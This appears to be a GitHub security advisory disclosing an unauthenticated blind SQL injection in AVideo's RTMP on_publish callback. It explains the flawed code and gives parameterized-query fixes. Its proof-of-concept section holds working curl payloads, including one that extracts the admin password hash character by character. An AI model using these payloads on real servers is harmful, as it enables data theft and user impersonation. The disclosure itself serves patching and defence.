Skip to content

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

High severity GitHub Reviewed Published Mar 20, 2026 in WWBN/AVideo • Updated Mar 25, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 26.0

Patched versions

None

Description

Summary

The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.

Details

Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.

Sanitization (insufficient): Line 117 strips only & and = characters:

// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);

Injection point #1 — unconditional (no p parameter needed):

At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():

// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);

Inside getLatest(), the key is interpolated into a LIKE clause without escaping:

// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE '{$key}%' ";
}

Injection point #2 — when $_GET['p'] is provided:

At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():

// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);

Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:

// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);

Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.

PoC

Injection point #1 (unconditional — simplest):

# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"

A ~5-second response time confirms injection. The payload:

  • Avoids & and = (stripped by line 117)
  • Avoids _ and - in positions where cleanUpKey() would split
  • Uses %23 (#) to comment out the trailing %'

Data extraction — character-by-character:

# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"

Injection point #2 (via keyExists):

curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"

This reaches keyExists() at line 146, producing:

SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1

Impact

An unauthenticated remote attacker can:

  1. Extract all database contents via time-based blind SQL injection, including:

    • User password hashes (bcrypt)
    • Email addresses and personal information
    • API keys, session tokens, and live stream passwords
    • Site configuration and secrets stored in database tables
  2. Authenticate as any user to the streaming system — extracted password hashes can be used directly as the $_GET['p'] parameter since on_publish.php:153 compares $_GET['p'] === $user->getPassword() against the raw stored hash, allowing the attacker to start streams impersonating any user.

  3. Enumerate database structure — the injection can be used to query information_schema tables, mapping the entire database for further exploitation.

The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.

Recommended Fix

Use parameterized queries in both affected functions:

Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:

$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);

Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:

if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE ? ";
    $formats .= "s";
    $values[] = $key . '%';
}

Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:

if(!$strict){
    $parts = Live::getLiveParametersFromKey($key);
    $key = $parts['cleanKey'];
    $sql .= " `key` LIKE ? ";
    $formats = "s";
    $values = [$key . '%'];
}else{
    $sql .= " `key` = ? ";
    $formats = "s";
    $values = [$key];
}

All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Mar 20, 2026
Published to the GitHub Advisory Database Mar 20, 2026
Reviewed Mar 20, 2026
Published by the National Vulnerability Database Mar 23, 2026
Last updated Mar 25, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(43rd percentile)

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

CVE ID

CVE-2026-33485

GHSA ID

GHSA-8p58-35c3-ccxx

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.